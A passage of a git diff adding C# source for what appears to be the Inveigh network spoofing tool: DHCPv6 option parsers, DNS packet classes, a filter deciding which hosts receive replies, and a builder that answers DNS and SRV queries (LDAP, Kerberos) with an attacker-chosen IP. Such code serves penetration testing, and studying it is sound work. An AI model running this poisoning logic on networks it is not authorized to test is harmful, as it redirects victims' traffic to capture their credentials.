+ this.RequestedOptionCodes = packetReader.ReadBytes(this.OptionLen);
+ }
+
+ }
+
+ public byte[] GetBytes()
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream())
+ {
+ PacketWriter packetWriter = new PacketWriter(memoryStream);
+ packetWriter.Write(this.OptionCode);
+ packetWriter.Write(this.OptionLen);
+ packetWriter.Write(this.RequestedOptionCodes);
+ return memoryStream.ToArray();
+ }
+
+ }
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option8.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option8.cs
new file mode 100644
index 0000000..b6d522c
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option8.cs
@@ -0,0 +1,88 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.DHCPv6
+{
+ class DHCPv6Option8 : DHCPv6Option
+ {
+ public ushort ElapsedTime { get; set; }
+
+ public DHCPv6Option8()
+ {
+
+ }
+
+ public DHCPv6Option8(byte[] data)
+ {
+ ReadBytes(data, 0);
+ }
+
+ public DHCPv6Option8(byte[] data, int index)
+ {
+ ReadBytes(data, index);
+ }
+
+ public new void ReadBytes(byte[] data, int index)
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream(data))
+ {
+ PacketReader packetReader = new PacketReader(memoryStream);
+ memoryStream.Position = index;
+ this.OptionCode = packetReader.BigEndianReadUInt16();
+ this.OptionLen = packetReader.BigEndianReadUInt16();
+ this.ElapsedTime = packetReader.BigEndianReadUInt16();
+ }
+
+ }
+
+ public byte[] GetBytes()
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream())
+ {
+ PacketWriter packetWriter = new PacketWriter(memoryStream);
+ packetWriter.Write(this.OptionCode);
+ packetWriter.Write(this.OptionLen);
+ packetWriter.Write(this.ElapsedTime);
+ return memoryStream.ToArray();
+ }
+
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/Values/DHCPv6DUIDLL.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/Values/DHCPv6DUIDLL.cs
new file mode 100644
index 0000000..a24dd45
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/Values/DHCPv6DUIDLL.cs
@@ -0,0 +1,72 @@
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.DHCPv6
+{
+ public class DHCPv6DUIDLL
+ {
+ // https://datatracker.ietf.org/doc/html/rfc3315#section-9
+ public ushort DUIDType { get; set; }
+ public ushort HardwareType { get; set; }
+ public byte[] LinkLayerAddress { get; set; }
+
+ public DHCPv6DUIDLL()
+ {
+
+ }
+
+ public DHCPv6DUIDLL(byte[] data)
+ {
+ ReadBytes(data, 0);
+ }
+
+ public DHCPv6DUIDLL(string linkLayerAddress)
+ {
+ byte[] linkLayerAddressData = new byte[6];
+ int i = 0;
+
+ foreach (string character in linkLayerAddress.Split(':'))
+ {
+ linkLayerAddressData[i] = Convert.ToByte(Convert.ToInt16(character, 16));
+ i++;
+ }
+
+ this.DUIDType = 3;
+ this.HardwareType = 1;
+ this.LinkLayerAddress = linkLayerAddressData;
+ }
+
+ public void ReadBytes(byte[] data, int index)
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream(data))
+ {
+ PacketReader packetReader = new PacketReader(memoryStream);
+ memoryStream.Position = index;
+ this.DUIDType = packetReader.BigEndianReadUInt16();
+ this.HardwareType = packetReader.BigEndianReadUInt16();
+ this.LinkLayerAddress = packetReader.ReadBytes(6);
+ }
+
+ }
+
+ public byte[] GetBytes()
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream())
+ {
+ PacketWriter packetWriter = new PacketWriter(memoryStream);
+ packetWriter.BigEndianWrite(this.DUIDType);
+ packetWriter.BigEndianWrite(this.HardwareType);
+ packetWriter.Write(this.LinkLayerAddress);
+ return memoryStream.ToArray();
+ }
+
+ }
+
+ }
+
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/Values/DHCPv6DUIDLLT.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/Values/DHCPv6DUIDLLT.cs
new file mode 100644
index 0000000..45408bd
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/Values/DHCPv6DUIDLLT.cs
@@ -0,0 +1,57 @@
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.DHCPv6
+{
+ public class DHCPv6DUIDLLT
+ {
+ // https://datatracker.ietf.org/doc/html/rfc3315#section-9
+ public ushort DUIDType { get; set; }
+ public ushort HardwareType { get; set; }
+ public uint Time { get; set; }
+ public byte[] LinkLayerAddress { get; set; }
+
+ public DHCPv6DUIDLLT()
+ {
+
+ }
+
+ public DHCPv6DUIDLLT(byte[] data)
+ {
+ ReadBytes(data, 0);
+ }
+
+ public void ReadBytes(byte[] data, int index)
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream(data))
+ {
+ PacketReader packetReader = new PacketReader(memoryStream);
+ memoryStream.Position = index;
+ this.DUIDType = packetReader.BigEndianReadUInt16();
+ this.HardwareType = packetReader.BigEndianReadUInt16();
+ this.Time = packetReader.BigEndianReadUInt32();
+ this.LinkLayerAddress = packetReader.ReadBytes(6);
+ }
+
+ }
+
+ public byte[] GetBytes()
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream())
+ {
+ PacketWriter packetWriter = new PacketWriter(memoryStream);
+ packetWriter.BigEndianWrite(this.DUIDType);
+ packetWriter.BigEndianWrite(this.HardwareType);
+ packetWriter.Write(this.LinkLayerAddress);
+ return memoryStream.ToArray();
+ }
+
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DNS/DNSChecker.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DNS/DNSChecker.cs
new file mode 100644
index 0000000..5a23ffd
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DNS/DNSChecker.cs
@@ -0,0 +1,329 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using Quiddity.Support;
+using System;
+using System.Collections.Generic;
+
+namespace Quiddity.DNS
+{
+ class DNSChecker
+ {
+ public string[] IgnoreHosts { get; set; }
+ public string[] ReplyToHosts { get; set; }
+ public string[] IgnoreIPs { get; set; }
+ public string[] ReplyToIPs { get; set; }
+ public string[] IgnoreDomains { get; set; }
+ public string[] ReplyToDomains { get; set; }
+ public string[] Types { get; set; }
+ public string[] Services { get; set; }
+ public IList<string> IPCaptures { get; set; }
+ public bool Enabled { get; set; }
+ public bool Inspect { get; set; }
+ public bool IPv6 { get; set; }
+ public bool Local { get; set; }
+ public bool Repeat { get; set; }
+ public string OutputReplyAllowed { get; set; }
+ public string OutputMessage { get; set; }
+ public string OutputInspect { get; set; }
+ public string OutputDisabled { get; set; }
+ public string OutputTypeDenied { get; set; }
+ public string OutputServiceDenied { get; set; }
+ public string OutputHostDenied { get; set; }
+ public string OutputIPDenied { get; set; }
+ public string OutputDomainDenied { get; set; }
+ public string OutputRepeat { get; set; }
+
+ public DNSChecker()
+ {
+ this.OutputReplyAllowed = "response sent";
+ this.OutputInspect = "inspect only";
+ this.OutputDisabled = "disabled";
+ this.OutputHostDenied = "host ignored";
+ this.OutputIPDenied = "IP ignored";
+ this.OutputDomainDenied = "domain ignored";
+ this.OutputTypeDenied = "type ignored";
+ this.OutputServiceDenied = "service ignored";
+ this.OutputRepeat = "previous capture";
+ }
+
+ public bool Check(string name, string type, string clientIP)
+ {
+ if (this.Inspect)
+ {
+ this.OutputMessage = this.OutputInspect;
+ return false;
+ }
+ else if (!this.Enabled)
+ {
+ this.OutputMessage = this.OutputDisabled;
+ return false;
+ }
+ else if (IsRepeat(clientIP))
+ {
+ this.OutputMessage = this.OutputRepeat;
+ return false;
+ }
+ else if (!TypeIsAllowed(type))
+ {
+ this.OutputMessage = this.OutputTypeDenied;
+ return false;
+ }
+ else if (!ServiceIsAllowed(name, type))
+ {
+ this.OutputMessage = this.OutputServiceDenied;
+ return false;
+ }
+ else if (HostIsDenied(name))
+ {
+ this.OutputMessage = this.OutputHostDenied;
+ return false;
+ }
+ else if (!HostIsAllowed(name))
+ {
+ this.OutputMessage = this.OutputIPDenied;
+ return false;
+ }
+ else if (FQDNIsDenied(name))
+ {
+ this.OutputMessage = this.OutputHostDenied;
+ return false;
+ }
+ else if (!FQDNIsAllowed(name))
+ {
+ this.OutputMessage = this.OutputIPDenied;
+ return false;
+ }
+ else if (IPIsDenied(clientIP))
+ {
+ this.OutputMessage = this.OutputIPDenied;
+ return false;
+ }
+ else if (!IPIsAllowed(clientIP))
+ {
+ this.OutputMessage = this.OutputIPDenied;
+ return false;
+ }
+ else if (DomainIsDenied(name))
+ {
+ this.OutputMessage = this.OutputDomainDenied;
+ return false;
+ }
+ else if (!DomainIsAllowed(name))
+ {
+ this.OutputMessage = this.OutputDomainDenied;
+ return false;
+ }
+
+ this.OutputMessage = this.OutputReplyAllowed;
+ return true;
+ }
+
+ public bool IsRepeat(string clientIP)
+ {
+
+ if (!this.Repeat && this.IPCaptures.Contains(clientIP))
+ {
+ return true;
+ }
+
+ return false;
+ }
+
+ public bool TypeIsAllowed(string type)
+ {
+
+ if (!Utilities.ArrayIsNullOrEmpty(this.Types) && (!Array.Exists(this.Types, element => element == type.ToUpper())))
+ {
+ return false;
+ }
+
+ return true;
+ }
+
+ public bool ServiceIsAllowed(string name, string type)
+ {
+
+ if (type.Equals("SRV") && TypeIsAllowed("SRV"))
+ {
+ string service = "";
+
+ if (name.StartsWith("_ldap."))
+ {
+ service = "LDAP";
+ }
+ else if (name.StartsWith("_kerberos."))
+ {
+ service = "Kerberos";
+ }
+ else if (name.StartsWith("_kpassword."))
+ {
+ service = "KPassword";
+ }
+ else if (name.StartsWith("_gc."))
+ {
+ service = "GC";
+ }
+
+ if (!Utilities.ArrayIsNullOrEmpty(this.Services) && (!Array.Exists(this.Services, element => element == service.ToUpper())))
+ {
+ return false;
+ }
+ }
+
+ return true;
+ }
+
+ public bool HostIsDenied(string name)
+ {
+ string host = (name.Split('.'))[0];
+
+ if (!Utilities.ArrayIsNullOrEmpty(this.IgnoreHosts) && Array.Exists(this.IgnoreHosts, element => element == host.ToUpper()))
+ {
+ return true;
+ }
+
+ return false;
+ }
+
+ public bool HostIsAllowed(string name)
+ {
+ string host = (name.Split('.'))[0];
+
+ if (!Utilities.ArrayIsNullOrEmpty(this.ReplyToHosts) && !Array.Exists(this.ReplyToHosts, element => element == host.ToUpper()))
+ {
+ return false;
+ }
+
+ return true;
+ }
+
+ public bool FQDNIsDenied(string name)
+ {
+
+ if (!Utilities.ArrayIsNullOrEmpty(this.IgnoreHosts) && Array.Exists(this.IgnoreHosts, element => element == name.ToUpper()))
+ {
+ return true;
+ }
+
+ return false;
+ }
+
+ public bool FQDNIsAllowed(string name)
+ {
+
+ if (!Utilities.ArrayIsNullOrEmpty(this.ReplyToHosts) && !Array.Exists(this.ReplyToHosts, element => element == name.ToUpper()))
+ {
+ return false;
+ }
+
+ return true;
+ }
+
+ public bool IPIsDenied(string clientIP)
+ {
+
+ if (!Utilities.ArrayIsNullOrEmpty(this.IgnoreIPs) && Array.Exists(this.IgnoreIPs, element => element == clientIP.ToUpper()))
+ {
+ return true;
+ }
+
+ return false;
+ }
+
+ public bool IPIsAllowed(string clientIP)
+ {
+
+ if (!Utilities.ArrayIsNullOrEmpty(this.ReplyToIPs) && !Array.Exists(this.ReplyToIPs, element => element == clientIP.ToUpper()))
+ {
+ return false;
+ }
+
+ return true;
+ }
+
+ public bool DomainIsDenied(string domain)
+ {
+ int index = domain.IndexOf(".");
+
+ while (index > -1)
+ {
+
+ if (!Utilities.ArrayIsNullOrEmpty(this.IgnoreDomains) && Array.Exists(this.IgnoreDomains, element => element == domain.ToUpper()))
+ {
+ return true;
+ }
+
+
+ index = domain.IndexOf(".");
+
+ if (index > -1)
+ {
+ domain = domain.Substring(index).TrimStart('.');
+ }
+
+ }
+
+ return false;
+ }
+
+ public bool DomainIsAllowed(string domain)
+ {
+ int index = domain.IndexOf(".");
+
+ if (index == -1 || Utilities.ArrayIsNullOrEmpty(this.ReplyToDomains))
+ {
+ return true;
+ }
+
+ while (index > -1)
+ {
+
+ if (Array.Exists(this.ReplyToDomains, element => element == domain.ToUpper()))
+ {
+ return true;
+ }
+
+ index = domain.IndexOf(".");
+
+ if (index > -1)
+ {
+ domain = domain.Substring(index).TrimStart('.');
+ }
+
+ }
+
+ return false;
+ }
+
+ }
+
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DNS/DNSHeader.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DNS/DNSHeader.cs
new file mode 100644
index 0000000..d456b26
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DNS/DNSHeader.cs
@@ -0,0 +1,181 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.IO;
+
+namespace Quiddity.DNS
+{
+ public class DNSHeader
+ {
+ // https://tools.ietf.org/html/rfc1035
+ public byte[] ID { get; set; }
+ public bool QR { get; set; } // 1 bit
+ public string Opcode { get; set; } // 4 bit
+ public bool AA { get; set; } // 1 bit
+ public bool TC { get; set; } // 1 bit
+ public bool RD { get; set; } // 1 bit
+ public bool RA { get; set; } // 1 bit
+ public string Z { get; set; } // reserved
+ public string RCode { get; set; } // 4 bit
+ public ushort QDCount { get; set; }
+ public ushort ANCount { get; set; }
+ public ushort NSCount { get; set; }
+ public ushort ARCount { get; set; }
+
+ // custom
+ public byte[] Flags { get; set; }
+
+ public DNSHeader()
+ {
+
+ }
+
+ public DNSHeader(byte[] data)
+ {
+ ReadBytes(data, 0);
+ }
+
+ public void ReadBytes(byte[] data, int offset)
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream(data))
+ {
+ PacketReader packetReader = new PacketReader(memoryStream);
+ memoryStream.Position = offset;
+ this.ID = packetReader.ReadBytes(2);
+ this.Flags = packetReader.BigEndianReadBytes(2);
+ this.QDCount = packetReader.BigEndianReadUInt16();
+ this.ANCount = packetReader.BigEndianReadUInt16();
+ this.NSCount = packetReader.BigEndianReadUInt16();
+ this.ARCount = packetReader.BigEndianReadUInt16();
+ }
+
+ ReadFlags();
+ }
+
+ public byte[] GetBytes()
+ {
+ WriteFlags();
+
+ using (MemoryStream memoryStream = new MemoryStream())
+ {
+ PacketWriter packetWriter = new PacketWriter(memoryStream);
+ packetWriter.Write(this.ID);
+ packetWriter.Write(this.Flags);
+ packetWriter.BigEndianWrite(this.QDCount);
+ packetWriter.BigEndianWrite(this.ANCount);
+ packetWriter.BigEndianWrite(this.NSCount);
+ packetWriter.BigEndianWrite(this.ARCount);
+ return memoryStream.ToArray();
+ }
+
+ }
+
+ protected virtual void ReadFlags()
+ {
+ string flags = Convert.ToString(BitConverter.ToUInt16(this.Flags, 0), 2).PadLeft(16, '0');
+
+ if (String.Equals(flags.Substring(0, 1), "1"))
+ {
+ this.QR = true;
+ }
+
+ this.Opcode = flags.Substring(1, 4);
+
+ if (String.Equals(flags.Substring(5, 1), "1"))
+ {
+ this.AA = true;
+ }
+
+ if (String.Equals(flags.Substring(6, 1), "1"))
+ {
+ this.TC = true;
+ }
+
+ if (String.Equals(flags.Substring(7, 1), "1"))
+ {
+ this.RD = true;
+ }
+
+ if (String.Equals(flags.Substring(7, 1), "1"))
+ {
+ this.RA = true;
+ }
+
+ this.Z = flags.Substring(8, 3);
+ this.RCode = flags.Substring(12, 4);
+ }
+
+ protected virtual void WriteFlags()
+ {
+ string flags = this.QR ? "1" : "0";
+ flags += this.Opcode;
+ flags += this.AA ? "1" : "0";
+ flags += this.TC ? "1" : "0";
+ flags += this.RD ? "1" : "0";
+ flags += this.RA ? "1" : "0";
+ flags += this.Z;
+ flags += this.RCode;
+ byte[] bytes = new byte[2];
+
+ for (int i = 0; i < 2; ++i)
+ {
+ bytes[i] = Convert.ToByte(flags.Substring(8 * i, 8), 2);
+ }
+
+ this.Flags = bytes;
+ }
+
+ public bool IsQuery()
+ {
+ if (!this.QR && this.QDCount == 1)
+ {
+ return true;
+ }
+
+ return false;
+ }
+
+ public bool IsDynamicUpdateRequest()
+ {
+
+ if (!this.QR && this.Opcode.Equals("0101"))
+ {
+ return true;
+ }
+
+ return false;
+ }
+
+ }
+
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DNS/DNSPacket.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DNS/DNSPacket.cs
new file mode 100644
index 0000000..b18b50b
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DNS/DNSPacket.cs
@@ -0,0 +1,185 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using Quiddity.Support;
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Net;
+using System.Text;
+
+namespace Quiddity.DNS
+{
+ class DNSPacket
+ {
+ public DNSHeader Header { get; set; }
+ public DNSQuestion Question { get; set; }
+ public DNSResource Resource { get; set; }
+ public DNSResource Additional { get; set; }
+
+ public uint TTL { get; set; }
+ public string Host { get; set; }
+
+ enum ServicePort : ushort
+ {
+ Kerberos = 88,
+ LDAP = 389,
+ KPassword = 464,
+ GC = 3268
+ }
+
+ public DNSPacket()
+ {
+ }
+
+ public DNSPacket(byte[] data)
+ {
+ ReadBytes(data);
+ }
+
+ public DNSPacket ReadBytes(byte[] data)
+ {
+ this.Header = new DNSHeader(data);
+ this.Question = new DNSQuestion(data);
+ return this;
+ }
+
+ public byte[] GetBytes(uint ttl, uint serial, string replyIP, string replyIPv6)
+ {
+ byte[] rdata = new byte[0];
+ ushort arCount = 0;
+ ushort index = 12;
+ index |= (1 << 15); // set first 2 bits to 1 to indicate compression is being used
+ index |= (1 << 14);
+ byte[] indexData = BitConverter.GetBytes(index);
+ Array.Reverse(indexData);
+ byte[] nameData = this.Question.QName;
+
+ switch (this.Question.Type)
+ {
+ case "A":
+ arCount = 0;
+ rdata = new DNSRecordA(replyIP).GetBytes();
+ break;
+
+ case "AAAA":
+ arCount = 0;
+
+ if (!String.IsNullOrEmpty(replyIPv6))
+ {
+ rdata = new DNSRecordAAAA(replyIPv6).GetBytes();
+ }
+
+ break;
+
+ case "SRV":
+ arCount = 1;
+ nameData = indexData;
+ index += (ushort)(this.Question.QName.Length + 14);
+ ushort port = 0;
+
+ if (this.Question.Name.StartsWith("_ldap."))
+ {
+ port = (ushort)ServicePort.LDAP;
+ }
+ else if (this.Question.Name.StartsWith("_kerberos."))
+ {
+ port = (ushort)ServicePort.Kerberos;
+ }
+ else if (this.Question.Name.StartsWith("_kpassword."))
+ {
+ port = (ushort)ServicePort.KPassword;
+ }
+ else if (this.Question.Name.StartsWith("_gc."))
+ {
+ port = (ushort)ServicePort.GC;
+ }
+
+ rdata = new DNSRecordSRV().GetBytes(this.Host, port);
+ break;
+
+ case "SOA":
+ arCount = 1;
+ rdata = new DNSRecordSOA(serial).GetBytes(this.Host, 12);
+ index += (ushort)(this.Question.QName.Length + 14);
+ break;
+ }
+
+ this.Header = new DNSHeader
+ {
+ ID = this.Header.ID,
+ QR = true,
+ Opcode = "0000",
+ AA = false,
+ TC = false,
+ RD = false,
+ RA = false,
+ Z = "000",
+ RCode = "0000",
+ QDCount = 1,
+ ANCount = 1,
+ ARCount = arCount
+ };
+
+ this.Resource = new DNSResource
+ {
+ Name = nameData,
+ Type = this.Question.QType,
+ Class = this.Question.QClass,
+ TTL = ttl,
+ RDLength = (ushort)rdata.Length,
+ RData = rdata
+ };
+
+ if (arCount == 1)
+ {
+ this.Resource.Name = indexData;
+ indexData = BitConverter.GetBytes(index);
+ Array.Reverse(indexData);
+
+ this.Additional = new DNSResource
+ {
+ Name = indexData,
+ Type = new byte[] { 0x00, 0x01 },
+ Class = this.Question.QClass,
+ TTL = ttl,
+ RDLength = 4,
+ RData = new DNSRecordA(replyIP).GetBytes()
+ };
+
+ return Utilities.BlockCopy(this.Header.GetBytes(), this.Question.GetBytes(), this.Resource.GetBytes(), this.Additional.GetBytes());
+ }
+
+ return Utilities.BlockCopy(this.Header.GetBytes(), this.Question.GetBytes(), this.Resource.GetBytes());
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DNS/DNSQuestion.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DNS/DNSQuestion.cs
new file mode 100644
index 0000000..34e2fcb
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DNS/DNSQuestion.cs
@@ -0,0 +1,193 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.IO;
+using System.Text;
+
+namespace Quiddity.DNS
+{
+ class DNSQuestion
+ {
+
+ // https://tools.ietf.org/html/rfc1035
+ public byte[] QName { get; set; }
+ public byte[] QType { get; set; }
+ public byte[] QClass { get; set; }
+
+ // Custom
+ public string Name { get; set; }
+ public string Type { get; set; }
+
+ public DNSQuestion()
+ {
+ this.QName = new byte[0];
